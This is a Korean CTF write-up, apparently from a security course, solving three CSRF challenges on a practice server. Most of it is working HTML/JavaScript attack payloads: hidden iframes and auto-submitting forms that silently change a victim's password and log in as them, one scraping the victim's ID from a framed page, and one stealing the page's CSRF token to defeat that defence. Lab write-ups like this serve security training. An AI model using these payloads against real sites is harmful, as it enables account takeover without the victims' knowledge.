- 남들이 속을 정도로 정교하게 CSRF 공격을 시도해볼것(CSRF 1,2,3)
CSRF 1
<script src = "http://ctf.segfaulthub.com:7777/csrf_1/mypage_update.php?id=&info=&pw=zxc123">
안녕하세요
- script src에 GET 방식으로 전달하는 링크를 다니, 정보 변경은 이루어졌지만, alert창이 나오지 않았다.
- script창에서는 해당 페이지의 script를 실행하지 않는 성질을 이용한 것으로 보인다.
CSRF 2
<iframe width="0" height="0" border="0" name = "changeframe" id = "changeframe" style = "display: none;" sandbox ="allow-scripts allow-same-origin allow-popups" ></iframe>
<iframe width="0" height="0" border="0" name = "loginframe" id = "loginframe" style = "display: none;" sandbox ="allow-scripts allow-same-origin allow-popups" ></iframe>
<form method="POST" action="http://ctf.segfaulthub.com:7777/csrf_2/mypage_update.php" target="changeframe" referrerpolicy="no-referrer">
<input type="hidden" name="id" value="허동원_2">
<input type="hidden" name="info">
<input type="hidden" name="pw" value = "1234">
</form>
<form method="POST" action="http://ctf.segfaulthub.com:7777/csrf_2/login.php" target="loginframe" referrerpolicy="no-referrer">
<input type="hidden" name="id" value="허동원_2">
<input type="hidden" name="info">
<input type="hidden" name="pw" value = "1234">
</form>
<script>document.forms[0].submit()
setTimeout(function(){
document.forms[1].submit()
}, 1000);
</script>
- 위와 같이 login을 하는 form을 넣은 이유는, 정보를 바꾸면 로그아웃이 자동적으로 되기 때문에 로그인 폼을 넣을 것이다.
- mypage_update.php를 실행한 이후, 1초 뒤에 로그인을 했다. 곧바로 로그인을 하면 오류로 인해 로그인이 되지 않았다.
- update.php의 경우 아이디를 넣을 필요가 없지만, 로그인할 때는 id를 넣어줘야 한다.
<iframe src = "http://ctf.segfaulthub.com:7777/csrf_2/index.php" width="0" height="0" border="0" name = "indexframe" id = "indexframe" style = "display: none;"></iframe>
<iframe width="0" height="0" border="0" name = "changeframe" id = "changeframe" style = "display: none;" sandbox ="allow-scripts allow-same-origin allow-popups" ></iframe>
<iframe width="0" height="0" border="0" name = "loginframe" id = "loginframe" style = "display: none;" sandbox ="allow-scripts allow-same-origin allow-popups" ></iframe>
<form method="POST" action="http://ctf.segfaulthub.com:7777/csrf_2/mypage_update.php" target="changeframe" referrerpolicy="no-referrer">
<input type="hidden" name="id" value="">
<input type="hidden" name="info">
<input type="hidden" name="pw" value = "abcd1234">
</form>
<form method="POST" action="http://ctf.segfaulthub.com:7777/csrf_2/login.php" target="loginframe" referrerpolicy="no-referrer">
<input type="hidden" id="id" name="id">
<input type="hidden" name="pw" value = "abcd1234">
</form>
<script>
function iframeLoaded() {
var iframe = document.getElementById('indexframe');
var iframeDocument = iframe.contentDocument || iframe.contentWindow.document;
var textElement = iframeDocument.querySelector('.text');
var text = textElement.textContent;
var word = text.split(' ')[1];
document.getElementById('id').value = word.replace("!!", "")
}
document.getElementById('indexframe').onload = iframeLoaded;
document.forms[0].submit();
setTimeout(function(){
document.forms[1].submit()
}, 1000);
</script>
- 위의 코드에서 아이디를 모르더라도, 이 글에 들어온 사람은 비밀번호가 바뀌게 만들었다.
- index.php를 iframe으로 불러와 해당 아이디를 추출한다.
- 추출한 아이디를 로그인 form에 id를 넣는다.
- 그 뒤는 이전 코드와 똑같다.
CSRF 3
<iframe src = "http://ctf.segfaulthub.com:7777/csrf_3/mypage.php" width="0" height="0" border="0" name="changeframe" id="changeframe" style="display: none;" sandbox ="allow-scripts allow-same-origin allow-popups"></iframe>
<form method="POST" action="http://ctf.segfaulthub.com:7777/csrf_3/mypage_update.php?user=허동원" target="changeframe" referrerpolicy="no-referrer">
<input type="hidden" name="id" value="">
<input type="hidden" name="info">
<input type="hidden" name="pw" value="qwer1234">
<input type="hidden" name="csrf_token" id="csrf_token">
</form>
<script>
function iframeLoaded() {
var iframe = document.getElementById('changeframe');
var iframeDocument = iframe.contentDocument || iframe.contentWindow.document;
var inputElement = iframeDocument.getElementsByName('csrf_token')[0];
var inputValue = inputElement.value;
document.getElementById('csrf_token').value = inputValue;
}
var iframe = document.getElementById('changeframe');
iframe.onload = function(){
iframeLoaded();
document.forms[0].submit();
};
</script>
반갑습니다!!!!!
- csrf_token이 잡히지 않는 경우가 있었다. 이유는 iframe과 form이 동시에 실행되어서 그런 거 같다. 그래서 iframe이 load된 이후에 iframeLoaded 함수가 실행되어 csrf_token을 가져오도록 했다.
- mypage.php의 csrf_token을 가져오기 위해 iframe src = "mypage.php로 했다."